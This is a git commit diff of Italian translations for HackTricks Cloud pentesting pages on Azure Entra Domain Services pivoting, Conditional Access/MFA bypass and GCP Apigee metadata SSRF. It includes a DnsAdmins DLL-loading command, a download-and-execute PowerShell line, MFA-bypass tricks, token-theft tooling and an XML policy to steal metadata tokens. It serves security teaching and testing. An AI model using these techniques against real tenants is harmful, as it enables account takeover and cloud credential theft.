Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2026-02-12 13:52:54 +00:00
parent e5d1d209d9
commit c02ebe23b2
5 changed files with 151 additions and 82 deletions

View File

@@ -1,11 +1,12 @@
Puoi rimuovere questo contenuto prima di inviare la PR:
## Attribution
Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale favorisce un ambiente di condivisione affidabile e legale per tutti.
## Attribuzione
Valorizziamo le tue conoscenze e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo inserito o alla fine della pagina che stai modificando o in entrambi i casi). Il tuo rispetto per i diritti di proprietà intellettuale favorisce un ambiente di condivisione affidabile e legale per tutti.
## HackTricks Training
Se stai aggiungendo in modo da poter superare l'esame di [ARTE certification](https://training.hacktricks.xyz/courses/arte) con 2 flag invece di 3, devi chiamare la PR `arte-<username>`.
Se stai inviando una PR per superare l'esame [ARTE certification](https://hacktricks-training.com/courses/arte) ottenendo 2 flag invece di 3, devi chiamare la PR `arte-<username>`, `grte-<username>` o `azrte-<username>`, a seconda della certificazione che stai sostenendo.
Inoltre, ricorda che le correzioni di grammatica/sintassi non saranno accettate per la riduzione dei flag dell'esame.
Inoltre, ricorda che correzioni di grammatica/sintassi non saranno accettate per la riduzione dei flag dell'esame.
In ogni caso, grazie per il tuo contributo a HackTricks!
In ogni caso, grazie per aver contribuito a HackTricks!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara & pratica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara & pratica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara & pratica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
> <summary>Sostieni HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
> - Controlla i [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi hacking tricks inviando PRs ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@@ -2,44 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Servizi di Dominio
## Servizi di dominio
Microsoft Entra Domain Services consente di implementare un Active Directory in Azure senza la necessità di gestire i Domain Controllers (in realtà non hai nemmeno accesso a essi).
Microsoft Entra Domain Services permette di distribuire un Active Directory in Azure senza dover gestire i Domain Controller (in realtà non hai nemmeno accesso a essi).
Il suo obiettivo principale è consentire di eseguire applicazioni legacy nel cloud che non possono utilizzare metodi di autenticazione moderni, o dove non si desidera che le ricerche nel directory tornino sempre a un ambiente AD DS on-premises.
Il suo obiettivo principale è permettere di eseguire applicazioni legacy nel cloud che non possono usare metodi di autenticazione moderni, oppure quando non si vuole che le ricerche nella directory vadano sempre a ritroso verso un ambiente AD DS on-premise.
Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) con il servizio di dominio AD è necessario **cambiare la password dell'utente** con una nuova in modo che possa essere sincronizzata con il nuovo AD. In realtà, l'utente non viene sincronizzato da Microsoft Entra ID ai Servizi di Dominio fino a quando la password non viene cambiata.
Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) nel domain service AD è necessario **cambiare la password dell'utente** con una nuova affinché possa essere sincronizzata con il nuovo AD. In effetti, l'utente non viene sincronizzato da Microsoft Entra ID a Domain Services fino a quando la password non viene cambiata.
> [!WARNING]
> Anche se stai creando un nuovo dominio active directory, non sarai in grado di gestirlo completamente (a meno di sfruttare alcune misconfigurazioni), il che significa che per impostazione predefinita, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei **synchronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**.
> Anche se stai creando un nuovo dominio Active Directory non potrai gestirlo completamente (a meno di non sfruttare qualche misconfigurazione), il che significa che per default, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei **sincronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**.
> [!NOTE]
> In generale, a causa della mancanza di flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante sapere come comprometterlo.
> In generale, a causa della scarsa flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante conoscere come comprometterla.
### Pivoting
I membri del gruppo generato **`AAD DC Administrators`** ricevono permessi di amministratore locale su VM che sono collegate al dominio gestito (ma non nei domain controllers) perché vengono aggiunti al gruppo degli amministratori locali. I membri di questo gruppo possono anche utilizzare **Remote Desktop per connettersi da remoto a VM collegate al dominio**, e sono anche membri dei gruppi:
I membri del gruppo generato **`AAD DC Administrators`** ottengono permessi di amministratore locale sulle VM che sono joinate al dominio gestito (ma non sui domain controller) perché vengono aggiunti nel gruppo degli amministratori locali. I membri di questo gruppo possono anche usare **Desktop remoto per connettersi alle VM joinate al dominio**, e sono inoltre membri dei gruppi:
- **`Denied RODC Password Replication Group`**: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sui RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Questo gruppo consente ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare group policies a utenti o gruppi o modificare GPO esistenti, quindi non è così interessante in questo ambiente.
- **`DnsAdmins`**: Questo gruppo consente di gestire le impostazioni DNS ed è stato abusato in passato per [escalare privilegi e compromettere il dominio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente è stato verificato che la vulnerabilità è stata corretta:
- **`Denied RODC Password Replication Group`**: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sugli RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Questo gruppo permette ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare le group policy agli utenti o ai gruppi modificare i GPO esistenti, quindi non è particolarmente rilevante in questo ambiente.
- **`DnsAdmins`**: Questo gruppo permette di gestire le impostazioni DNS ed è stato abusato in passato per [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente si è verificato che la vulnerabilità è stata patchata:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Nota che per concedere queste autorizzazioni, all'interno dell'AD il gruppo **`AAD DC Administrators`** è reso membro dei gruppi precedenti, e anche il GPO **`AADDC Computers GPO`** aggiunge come Amministratori Locali tutti i membri del gruppo di dominio **`AAD DC Administrators`**.
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
Il pivoting da Entra ID a un AD creato con Domain Services è semplice, basta aggiungere un utente nel gruppo **`AAD DC Administrators`**, accedere via RDP a qualsiasi/tutte le macchine nel dominio e sarai in grado di rubare dati e anche **compromettere il dominio.**
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
Tuttavia, il pivoting dal dominio a Entra ID non è così facile poiché nulla del dominio viene sincronizzato in Entra ID. Tuttavia, controlla sempre i metadati di tutte le VM unite poiché le loro identità gestite assegnate potrebbero avere permessi interessanti. Inoltre, **dumpa tutte le password degli utenti dal dominio** e prova a crackerle per poi accedere a Entra ID / Azure.
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
> [!NOTE]
> Nota che in passato sono state trovate altre vulnerabilità in questo AD gestito che hanno permesso di compromettere i DC, [come questa](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaccante che compromette il DC potrebbe molto facilmente mantenere la persistenza senza che gli amministratori di Azure se ne accorgano o siano in grado di rimuoverla.
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
### Enumerazione
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
@@ -59,7 +59,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

View File

@@ -1,16 +1,16 @@
# Az - Politiche di Accesso Condizionale e Bypass MFA
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le loro risorse applicando i giusti controlli di accesso nelle giuste circostanze.\
Le politiche di accesso condizionale **definiscono** **Chi** può accedere a **Cosa** da **Dove** e **Come**.
Le Azure Conditional Access policies sono regole configurate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure basati su certe **condizioni**. Queste policy aiutano le organizzazioni a proteggere le loro risorse applicando i controlli di accesso appropriati nelle giuste circostanze.\
Le Conditional Access policies definiscono fondamentalmente **Chi** può accedere a **Cosa** da **Dove** e **Come**.
Ecco un paio di esempi:
1. **Politica di Rischio di Accesso**: Questa politica potrebbe essere impostata per richiedere l'autenticazione a più fattori (MFA) quando viene rilevato un rischio di accesso. Ad esempio, se il comportamento di accesso di un utente è insolito rispetto al loro modello regolare, come accedere da un paese diverso, il sistema può richiedere un'autenticazione aggiuntiva.
2. **Politica di Conformità del Dispositivo**: Questa politica può limitare l'accesso ai servizi Azure solo ai dispositivi che sono conformi agli standard di sicurezza dell'organizzazione. Ad esempio, l'accesso potrebbe essere consentito solo da dispositivi che hanno software antivirus aggiornato o che eseguono una certa versione del sistema operativo.
1. **Sign-In Risk Policy**: Questa policy può essere configurata per richiedere multi-factor authentication (MFA) quando viene rilevato un rischio di sign-in. Per esempio, se il comportamento di login di un utente è insolito rispetto al suo modello abituale, come l'accesso da un paese diverso, il sistema può richiedere un'autenticazione aggiuntiva.
2. **Device Compliance Policy**: Questa policy può limitare l'accesso ai servizi Azure solo ai dispositivi conformi agli standard di sicurezza dell'organizzazione. Per esempio, l'accesso potrebbe essere consentito solo da dispositivi che hanno antivirus aggiornato o che eseguono una certa versione del sistema operativo.
## Enumerazione
```bash
@@ -20,77 +20,77 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Bypass delle Politiche di Accesso Condizionale
## Bypass delle Conditional Access Policies
È possibile che una politica di accesso condizionale **verifichi alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica configurasse MFA, l'attaccante sarà in grado di bypassarla.
È possibile che una conditional access policy stia **controllando alcune informazioni che possono essere facilmente manomesse permettendo un bypass della policy**. E se per esempio la policy richiedeva MFA, l'attaccante sarà in grado di bypassarla.
Quando si configura una politica di accesso condizionale, è necessario indicare gli **utenti** interessati e le **risorse target** (come tutte le app cloud).
Quando si configura una conditional access policy è necessario indicare gli **utenti** interessati e le **risorse target** (come all cloud apps).
È anche necessario configurare le **condizioni** che attiveranno la politica:
È anche necessario configurare le **condizioni** che **attiveranno** la policy:
- **Rete**: IP, intervalli IP e posizioni geografiche
- Può essere bypassata utilizzando una VPN o un Proxy per connettersi a un paese o riuscendo a effettuare il login da un indirizzo IP consentito
- **Rischi Microsoft**: Rischio utente, Rischio di accesso, Rischio interno
- **Piattaforme dei dispositivi**: Qualsiasi dispositivo o selezionare Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Qualsiasi dispositivo” non è selezionato ma tutte le altre opzioni sono selezionate, è possibile bypassarlo utilizzando un user-agent casuale non correlato a quelle piattaforme
- **App client**: Le opzioni sono “Browser”, “App mobili e client desktop”, “Client Exchange ActiveSync” e “Altri client”
- Per bypassare il login con un'opzione non selezionata
- **Filtro per dispositivi**: È possibile generare una regola relativa al dispositivo utilizzato
- **Flussi di autenticazione**: Le opzioni sono “Flusso di codice dispositivo” e “Trasferimento di autenticazione
- Questo non influenzerà un attaccante a meno che non stia cercando di abusare di uno di questi protocolli in un tentativo di phishing per accedere all'account della vittima
- **Network**: IP, IP ranges e posizioni geografiche
- Può essere bypassata usando una VPN o un Proxy per connettersi da un paese consentito o riuscendo a effettuare il login da un IP consentito
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device o selezionare Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Any device” non è selezionato ma tutte le altre opzioni lo sono, è possibile bypassarla usando un random user-agent non correlato a quelle piattaforme
- **Client apps**: Le opzioni sono “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” e “Other clients
- Per bypassare il login usando un'opzione non selezionata
- **Filter for devices**: È possibile generare una regola relativa al dispositivo utilizzato
- **Authentication flows**: Le opzioni sono “Device code flow” e “Authentication transfer
- Questo non influenzerà un attaccante a meno che non stia cercando di abusare uno di quei protocolli in un tentativo di phishing per accedere all'account della vittima
I possibili **risultati** sono: Blocca o Consenti accesso con condizioni potenziali come richiedere MFA, dispositivo conforme
I possibili **risultati** sono: Block o Grant access con potenziali condizioni come richiedere MFA, dispositivo compliant
### Piattaforme dei Dispositivi - Condizione del Dispositivo
### Piattaforme dispositivo - Condizione del dispositivo
È possibile impostare una condizione basata sulla **piattaforma del dispositivo** (Android, iOS, Windows, macOS...), tuttavia, questo si basa sull'**user-agent** quindi è facile da bypassare. Anche **rendendo tutte le opzioni obbligatorie per MFA**, se utilizzi un **user-agent che non è riconosciuto,** sarai in grado di bypassare la MFA o il blocco:
È possibile impostare una condizione basata sulla **device platform** (Android, iOS, Windows, macOS...), tuttavia questo si basa sul **user-agent** quindi è facile da bypassare. Anche **forzando MFA per tutte le opzioni**, se usi un **user-agent che non viene riconosciuto,** sarai in grado di bypassare la MFA o il blocco:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Basta far sì che il browser **invi un user-agent sconosciuto** (come `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) è sufficiente per non attivare questa condizione.\
Puoi cambiare manualmente l'user agent negli strumenti per sviluppatori:
Basta far sì che il browser **invi un user-agent sconosciuto** (come `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) per non attivare questa condizione.\
Puoi cambiare il user agent **manualmente** negli strumenti di sviluppo:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Oppure usare una [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Località: Paesi, Intervalli IP - Condizione del Dispositivo
### Locations: Countries, IP ranges - Device Condition
Se questo è impostato nella politica condizionale, un attaccante potrebbe semplicemente utilizzare una **VPN** nel **paese consentito** o cercare di trovare un modo per accedere da un **indirizzo IP consentito** per bypassare queste condizioni.
Se questo è impostato nella conditional policy, un attaccante potrebbe semplicemente usare una **VPN** nel **paese consentito** o cercare un modo per accedere da un **IP consentito** per bypassare queste condizioni.
### App Cloud
### Cloud Apps
È possibile configurare **politiche di accesso condizionale per bloccare o forzare** ad esempio MFA quando un utente cerca di accedere a una **app specifica**:
È possibile configurare **conditional access policies per bloccare o forzare** ad esempio MFA quando un utente tenta di accedere a una **app specifica**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Per cercare di bypassare questa protezione dovresti vedere se puoi **accedere solo a qualsiasi applicazione**.\
Lo strumento [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ha **decine di ID applicazione hardcoded** e cercherà di effettuare il login in essi e ti informerà e ti darà anche il token se ha successo.
Per tentare di bypassare questa protezione dovresti verificare se puoi effettuare l'accesso a qualsiasi applicazione.\
Lo strumento [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ha **decine di application IDs hardcoded** e proverà a effettuare il login su di esse, informandoti e dandoti anche il token se ha successo.
Per **testare ID applicazione specifici in risorse specifiche** potresti anche utilizzare uno strumento come:
Per **testare specifici application IDs in risorse specifiche** puoi anche usare uno strumento come:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Inoltre, è possibile proteggere anche il metodo di accesso (ad esempio, se si sta tentando di accedere dal browser o da un'applicazione desktop). Lo strumento [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) esegue alcuni controlli per cercare di bypassare queste protezioni.
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
Lo strumento [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) potrebbe essere utilizzato per scopi simili, anche se sembra non essere mantenuto.
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere utilizzato per testare queste protezioni e vedere se è possibile bypassare le MFA o i blocchi, ma questo strumento funziona da una prospettiva **whitebox**. È necessario prima scaricare l'elenco delle app consentite nel tenant e poi tenterà di accedervi.
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
## Altri Bypass MFA di Az
## Altri Az MFA Bypass
### Suoneria
Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**.
Un'opzione di Azure MFA è **ricevere una chiamata sul numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**.
> [!CAUTION]
> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria telefonica.
> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurare come messaggio il **tono del `#`** e poi, quando richiede l'MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata Azure venga reindirizzata alla segreteria.
### Dispositivi Conformi
### Dispositivi conformi
Le politiche spesso richiedono un dispositivo conforme o MFA, quindi un **attaccante potrebbe registrare un dispositivo conforme**, ottenere un **token PRT** e **bypassare in questo modo la MFA**.
Le policy spesso richiedono un dispositivo conforme o MFA, quindi un **attaccante potrebbe registrare un dispositivo conforme**, ottenere un **PRT** e **bypassare in questo modo l'MFA**.
Inizia registrando un **dispositivo conforme in Intune**, poi **ottieni il PRT** con:
```bash
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
Trova ulteriori informazioni su questo tipo di attacco nella seguente pagina:
Per maggiori informazioni su questo tipo di attacco consulta la seguente pagina:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -112,29 +112,29 @@ Trova ulteriori informazioni su questo tipo di attacco nella seguente pagina:
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Questo script ottiene alcune credenziali utente e verifica se può accedere ad alcune applicazioni.
Questo script raccoglie alcune credenziali utente e verifica se può effettuare il **login** in alcune applicazioni.
Questo è utile per vedere se **non è richiesta MFA per accedere ad alcune applicazioni** che potresti successivamente sfruttare per **escalare i privilegi**.
Questo è utile per verificare se non ti viene richiesta la **MFA** per effettuare il **login** in alcune applicazioni che potresti poi abusare per **escalate privileges**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Ottieni tutte le politiche
Recupera tutte le policy
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un set di credenziali fornito e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero rimanere a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato.
MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft usando un insieme di credenziali fornite e cerca di identificare se MFA è abilitato**. A seconda di come sono configurate le conditional access policies e altre impostazioni di autenticazione multi-fattore, alcuni protocolli possono rimanere a singolo fattore. Include inoltre un controllo aggiuntivo per le configurazioni ADFS e può tentare di eseguire il login al server ADFS on-prem se rilevato.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo.
Questo strumento ha aiutato a identificare MFA bypasses e poi ad abusare delle APIs in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicata, ma l'autenticazione basata su ROPC ha avuto successo.
> [!TIP]
> È necessario avere i permessi per elencare tutte le applicazioni per poter generare l'elenco delle app da forzare.
> Devi avere i permessi per elencare tutte le applicazioni per poter generare la lista delle app da brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,25 +143,25 @@ Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati per 2FA, ecc..
Donkey token è un insieme di funzioni pensate per aiutare i consulenti di sicurezza che devono convalidare Conditional Access Policies, eseguire test su 2FA-enabled Microsoft portals, ecc..
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Testa ogni portale** se è possibile **accedere senza MFA**:
**Testa ogni portale** per verificare se è possibile effettuare il **login senza MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Poiché il **portale** **Azure** **non è vincolato**, è possibile **raccogliere un token dall'endpoint del portale per accedere a qualsiasi servizio rilevato** dall'esecuzione precedente. In questo caso è stato identificato Sharepoint, e viene richiesto un token per accedervi:
Poiché il **Azure** **portal** non è **vincolato**, è possibile **ottenere un token dall'endpoint del portal per accedere a qualsiasi servizio rilevato** dall'esecuzione precedente. In questo caso è stato identificato Sharepoint e viene richiesto un token per accedervi:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supponendo che il token abbia il permesso Sites.Read.All (da Sharepoint), anche se non puoi accedere a Sharepoint dal web a causa di MFA, è possibile utilizzare il token per accedere ai file con il token generato:
Supponendo che il token abbia il permesso Sites.Read.All (di Sharepoint), anche se non puoi accedere a Sharepoint dal web a causa della MFA, è possibile usare il token per accedere ai file con il token generato:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -0,0 +1,68 @@
# GCP - Apigee Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
Un singolo progetto tenant Apigee può essere abusato per raggiungere il server metadata del Message Processor, rubare il suo service account e pivotare in una pipeline analytics Dataflow condivisa che legge/scrive bucket cross-tenant.
### Esporre il metadata server tramite Apigee
- Imposta un Apigee proxy target su `http://169.254.169.254` e richiedi token da `/computeMetadata/v1/instance/service-accounts/default/token` con `Metadata-Flavor: Google`.
- Il metadata di GCP rifiuta le richieste che contengono `X-Forwarded-For`; Apigee lo aggiunge di default. Rimuovilo con `AssignMessage` prima dell'inoltro:
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
### Enumerare il service account Apigee rubato
- The leaked SA (gestita da Google sotto `gcp-sa-apigee`) può essere enumerata con strumenti come [gcpwn](https://github.com/NetSPI/gcpwn) per testare rapidamente i permessi.
- Sono stati osservati permessi potenti, tra cui **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, e **Pub/Sub topic publish**. Scoperta di base:
```bash
